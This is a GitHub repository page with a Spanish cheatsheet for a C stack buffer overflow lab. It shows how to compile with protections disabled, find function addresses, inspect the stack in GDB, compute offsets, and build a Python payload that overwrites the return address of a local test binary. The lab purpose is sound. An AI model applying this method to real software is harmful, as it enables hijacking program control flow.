Skip to content

luchojuarez/bufferoverflow

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🧾 C Stack Overflow Mini‑Lab – Cheatsheet

Este documento es un resumen práctico para mini‑labs de buffer overflow en C (stack), orientado a inspección, aprendizaje y debugging con GDB. Me base primero en exploiting buffer overflows is too simple. (do it with me)

⚠️ Uso educativo. No para explotación real. Ya que para que funcione hay que desactivar muchos mecanismos que son por defecto.


1️⃣ Compilación

🔓 Compilación vulnerable

gcc overflow.c -o overflow \
  -fno-stack-protector \
  -z execstack \
  -no-pie \
  -g \
  -O0

📌 Flags explicadas

Flag Función Por qué importa
-fno-stack-protector Desactiva stack canaries Evita aborts automáticos
-z execstack Stack ejecutable Histórico / educativo
-no-pie Desactiva PIE Direcciones fijas
-g Símbolos de debug GDB usable
-O0 Sin optimizaciones Stack predecible

🔐 Compilación realista (comparación)

gcc overflow.c -o overflow_safe -g

Activa por defecto:

  • PIE: esto genera direcciones random a las funciones.
  • Stack canaries
  • ASLR‑friendly
  • Optimizaciones

2️⃣ Obtener direcciones de funciones

🔍 objdump

objdump -d overflow | grep debug_function

Salida típica:

0000000000401176 <debug_function>:

🔍 nm

nm overflow | grep debug_function

Salida:

0000000000401176 T debug_function
Letra Significado
T Función en .text
t Función local
U Símbolo indefinido

🔍 Desde GDB

info functions
p debug_function

3️⃣ GDB – Comandos esenciales

▶️ Ejecución

run
run < input.txt

🛑 Breakpoints

b main
b debug_function
b overflow.c:14
info breakpoints
delete 1

Run code

run

🧭 Navegación

next      # ejecuta línea
step      # entra en función
finish    # sale de la función
continue  # continúa ejecución

Debugger en accion

Aca podemos ver la ejecucion se agrego un brackpoint en la linea 14 (con el debbuger corriendo se agrega: break bad_code y luego se ejecuta con run) en el screenshot se ve el dump del stack x/32gx $rsp se explica mas adelante. screen


🧠 Registros (x86‑64)

info registers
p $rsp
p $rbp
p $rip
Registro Uso
$rsp Top del stack
$rbp Base del frame
$rip Instrucción actual

📦 Inspección del stack (CRÍTICO)

x/32gx $rsp

Formato:

  • x → examine
  • 32 → cantidad
  • g → 8 bytes
  • x → hexadecimal

🔬 Ver bytes crudos

x/64xb small_buffer

Ideal para ver:

  • padding
  • overflow real
  • bytes sobrescritos

📏 Cálculo de offsets

p &small_buffer
p $rbp
offset = rbp - &small_buffer

🧵 Stack trace

bt
bt full

🧷 Frame actual

info frame

Muestra:

  • saved RIP
  • saved RBP
  • variables locales screen

4️⃣ Payloads de prueba

📌 Python (little endian)

python3 -c 'import sys; sys.stdout.buffer.write(
    b"A"*56 + (0x401176).to_bytes(8,"little")
)' | ./overflow

📌 Ver payload

python3 -c 'print(b"A"*56)' | hexdump -C

5️⃣ Flujo mental completo

  1. Compilar sin protecciones
  2. Obtener dirección de la función (objdump / nm)
  3. Ejecutar en GDB
  4. Inspeccionar $rsp
  5. Identificar return address
  6. Calcular padding (restar direcciones)
  7. Construir payload
  8. Verificar memoria
  9. Confirmar salto

About

Experimento para testear buffer overflow

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages